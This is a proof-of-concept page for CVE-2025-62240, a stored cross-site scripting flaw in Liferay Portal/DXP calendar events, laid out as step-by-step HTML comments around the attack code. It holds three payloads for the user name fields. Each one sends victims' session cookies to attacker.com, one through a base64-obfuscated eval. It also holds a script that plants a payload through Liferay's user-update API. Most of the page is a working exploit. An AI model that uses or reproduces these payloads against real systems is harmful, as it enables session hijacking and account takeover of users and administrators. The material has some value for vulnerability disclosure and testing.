CVE-2025-62240：Liferay Portal/DXP 日历事件跨站脚本漏洞

<!-- CVE-2025-62240 PoC - Stored XSS via User Name Fields in Liferay Calendar --> <!-- Step 1: Attacker logs into Liferay Portal/DXP with a low-privilege account --> <!-- Step 2: Navigate to User Profile settings and modify name fields with malicious payload --> <!-- Payload for First Name field --> <script>alert('XSS via First Name');document.location='https://attacker.com/steal?cookie='+document.cookie;</script> <!-- Payload for Middle Name field --> <img src=x onerror="fetch('https://attacker.com/log',{method:'POST',body:JSON.stringify({cookie:document.cookie,url:document.location.href})})"> <!-- Payload for Last Name field --> <svg/onload=eval(atob('ZmV0Y2goImh0dHBzOi8vYXR0YWNrZXIuY29tLz9kYXRhPSIrZG9jdW1lbnQuY29va2llKQ=='))> <!-- Step 3: Create or participate in a Calendar event that displays the attacker's user name --> <!-- Step 4: When any victim (including admin) views the calendar event, the XSS payload executes --> <!-- Automated exploitation script --> <script> // Simulating the attack flow const maliciousPayload = '<img src=x onerror=alert(document.domain)>'; // Attacker sets First Name to maliciousPayload via Liferay API fetch('/api/jsonws/user/update-user', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ firstName: maliciousPayload, middleName: '', lastName: 'TestUser' }) }).then(r => console.log('Payload stored')); // When victim views calendar event containing this user, XSS triggers </script>